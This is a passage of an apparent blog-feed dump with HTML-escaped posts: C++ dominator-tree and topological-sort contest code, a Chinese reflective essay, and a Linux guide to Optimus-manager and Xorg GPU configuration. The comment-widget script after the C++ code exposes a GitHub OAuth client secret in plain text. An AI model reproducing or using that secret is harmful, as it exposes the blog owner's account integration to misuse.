class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e memset(x,y) memset(x,y,sizeof x)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e maxn 70000\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e inDegree[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;topoOrder;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eGraph\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(inDegree, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; \u0026amp;\u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e [](\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e pos) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e map[pos];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[from].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(to);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inDegree[to]++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003etopoSort\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inDegree[i])joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(i);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e(); joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e topoOrder.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(current);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; map[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inDegree[map[current][i]]--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inDegree[map[current][i]])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(map[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;G;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eDistinctTree\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e depth[maxn], father[maxn][\u003cspan class=\"number\"\u003e17\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003elca\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e y;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[x] \u0026lt; depth[y])\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(x, y);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e delta = depth[x] - depth[y];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e17\u003c/span\u003e \u0026amp;\u0026amp; delta; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (delta\u0026amp;(\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; i)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = father[x][i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e delta ^= \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e16\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (father[x][i] != father[y][i])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = father[x][i], y = father[y][i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (x == y ? x : father[x][\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eDistinctTree\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(depth, \u003cspan class=\"number\"\u003e0\u003c/span\u003e); \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(father, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; \u0026amp;\u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e[](\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e pos) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e map[pos];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ebuild\u003c/span\u003e\u003cspan class=\"params\"\u003e(vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026amp;topo)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//super node\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = topo.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = topo[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current_father = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; G[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e current_father = \u003cspan class=\"built_in\"\u003elca\u003c/span\u003e(current_father, G[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current_father == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)current_father = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[current_father].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(current);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[current] = depth[current_father] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e father[current][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = current_father;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e16\u003c/span\u003e \u0026amp;\u0026amp; father[current][i]; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e father[current][i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = father[father[current][i]][i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003eundef\u003c/span\u003e current\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;DT;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e FINAL[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eFINAL_DFS\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; DT[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt += \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(DT[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e FINAL[current] = cnt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; n; \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e other;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (other) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i, other);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003etopoSort\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e DT.\u003cspan class=\"built_in\"\u003ebuild\u003c/span\u003e(G.topoOrder);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; FINAL[i] - \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2018/08/01/Misc/%E6%97%A7%E7%9A%84%E5%87%A0%E7%AF%87%E9%A2%98%E8%A7%A3/"}]},{"name":"Xiue's Blog","email":"","uri":"https://xiue233.github.io/","description":"A lazy dog.","article":[{"title":"每日随笔之胡言乱语","time":"2024-08-30T05:56:19Z","content":"\u003cp\u003e随笔,随缘瞎写。\u003c/p\u003e\n\u003cp\u003e尝试剖析一切背后的东西,从千万中倒推1,从1倒退道。何知大道亦有千万。发散亦是一种收敛。\u003c/p\u003e\n\u003ch3 id=\"2024年8月30日\"\u003e\u003ca href=\"#2024年8月30日\" class=\"headerlink\" title=\"2024\u003chr /\u003e\u003cp\u003e随笔,随缘瞎写。\u003c/p\u003e\u003cp\u003e尝试剖析一切背后的东西,从千万中倒推1,从1倒退道。何知大道亦有千万。发散亦是一种收敛。\u003c/p\u003e\u003ch3 id=\"2024年8月30日\"\u003e\u003ca href=\"#2024年8月30日\" class=\"headerlink\" title=\"2024年8月30日\"\u003e\u003c/a\u003e2024年8月30日\u003c/h3\u003e\u003cul\u003e\u003cli\u003e每日忙忙碌碌却又无所事事,就和仓鼠跑轮子一样,只是逃避迷茫和困难的一种方式。\u003c/li\u003e\u003cli\u003e选择是痛苦的,没有选择就不会痛苦,也什么都没有。\u003c/li\u003e\u003cli\u003e计划会使事情变得简单,一切都因此变得简单。一览无余的地平线,只会看到落日后的景象,寂寥而又沉闷。\u003c/li\u003e\u003c/ul\u003e","url":"https://xiue233.github.io/2024/08/30/daily-essay/"},{"title":"Linux下适配拯救者Y9000X的Optimus方案","time":"2024-08-27T08:06:00Z","content":"\u003cp\u003e\u003cstrong\u003eTips:于2024-8-25基于新的情况又修改了一个版本,上一个版本由于未能深入研究与思考,存在很多问题。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e当年,年少无知,被引入了Arch\u003cdel\u003e邪\u003c/del\u003e神教,在Y9000X 2022款下,为了解决Optimus的\u003chr /\u003e\u003cp\u003e\u003cstrong\u003eTips:于2024-8-25基于新的情况又修改了一个版本,上一个版本由于未能深入研究与思考,存在很多问题。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e当年,年少无知,被引入了Arch\u003cdel\u003e邪\u003c/del\u003e神教,在Y9000X 2022款下,为了解决Optimus的兼容问题,一路倒腾。\u003c/p\u003e\u003cp\u003e注意:本文章对应的机子为Y9000X 2022 i7+3060款,在外置硬盘上安装了ArchLinux,使用的是\u003ca href=\"https://github.com/Askannz/optimus-manager\"\u003eOptimus-manager\u003c/a\u003e与\u003ccode\u003e闭源nvidia驱动\u003c/code\u003e。参考本教程操作系统时,若造成不良后果,本人概不负责。\u003c/p\u003e\u003ch2 id=\"什么是MUX?\"\u003e\u003ca href=\"#什么是MUX?\" class=\"headerlink\" title=\"什么是MUX?\"\u003e\u003c/a\u003e什么是MUX?\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"/images/muxed-introduction.jpg\" alt=\"muxed-introduction\"\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e笔记本中的MUX(多路复用器)是一种硬件组件,它的主要作用是选择和切换不同的视频输出信号源。很多现代笔记本电脑都有两个图形处理器(GPU):一个是集成在处理器中的低功耗集成显卡,另一个是独立的高性能显卡。MUX可以帮助用户在集成显卡和独立显卡之间切换,从而根据需要在节能和性能之间进行平衡。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMUX Switch可以说是一种多显卡切换方案,具体细节不再追述,请自行查阅相关资料,简单来说分为:integrated(集显模式)、hybrid(混显模式)、discrete(独显模式)。\u003c/p\u003e\u003cp\u003e上述模式功能如名,是与接入显卡的方式有关的。可以看上图展示的三种模式,其中Y9000X很荣幸使用了第三种Very high-end \u003cdel\u003elow\u003c/del\u003e的模式,在混显模式下独显会通过核显输出(与图中描述有点差异),在独显模式下,将会屏蔽核显,直接由独显输出。\u003c/p\u003e\u003ch2 id=\"针对Mux的适配方案\"\u003e\u003ca href=\"#针对Mux的适配方案\" class=\"headerlink\" title=\"针对Mux的适配方案\"\u003e\u003c/a\u003e针对Mux的适配方案\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003eOptimus Manager 是一款在 Linux 系统中管理双显卡切换的软件,主要针对带有 NVIDIA Optimus 技术的笔记本电脑。Optimus 是 NVIDIA 提供的一项技术,用于在集成显卡(通常是 Intel GPU)和独立显卡(NVIDIA GPU)之间自动切换,以便在性能和电池续航之间取得平衡。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e正常情况下,你只需要安装\u003ccode\u003eoptimus-manager\u003c/code\u003e即可,但是如果你需要能够同时支持独显与混显,那么还是需要配置一下。\u003c/p\u003e\u003cp\u003eOptimus Manger会根据配置文件,在开机时自动配置显示模式。但是,在集显模式下,它由于没有识别到集显,认为这是一个非支持Mux的机子,故直接报错且不生成相关的显示配置文件,这就导致了无法找到画面输出窗口和输出卡。\u003c/p\u003e\u003cp\u003e针对X11来说,可以在\u003ccode\u003e/etc/X11/xorg.conf.d/\u003c/code\u003e下创建一个\u003ccode\u003e30-nvidia.conf\u003c/code\u003e,内容如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs conf\"\u003eSection \u0026quot;Device\u0026quot;\u003cbr\u003e Identifier \u0026quot;nvidia\u0026quot;\u003cbr\u003e Driver \u0026quot;nvidia\u0026quot;\u003cbr\u003e BusID \u0026quot;PCI:1:0:0\u0026quot; # 一般是1:0:0,根据自己的实际情况来\u003cbr\u003e Option \u0026quot;AllowEmptyInitialConfiguration\u0026quot;\u003cbr\u003eEndSection\u003cbr\u003e\u003cbr\u003eSection \u0026quot;ServerLayout\u0026quot;\u003cbr\u003e Identifier \u0026quot;layout\u0026quot;\u003cbr\u003e Screen 0 \u0026quot;nvidia\u0026quot;\u003cbr\u003e Option \u0026quot;AllowNVIDIAGPUScreens\u0026quot;\u003cbr\u003eEndSection\u003cbr\u003e\u003cbr\u003eSection \u0026quot;Screen\u0026quot;\u003cbr\u003e Identifier \u0026quot;nvidia\u0026quot;\u003cbr\u003e Device \u0026quot;nvidia\u0026quot;\u003cbr\u003eEndSection\u003cbr\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就可以在Optimus Manager无效的情况下,也能选择这一个次优先配置文件,加载相应的显示配置。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e建议自行查找资料,学习Linux桌面环境是如何从查找输出设备、屏幕到输出这个过程的。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"尾语\"\u003e\u003ca href=\"#尾语\" class=\"headerlink\" 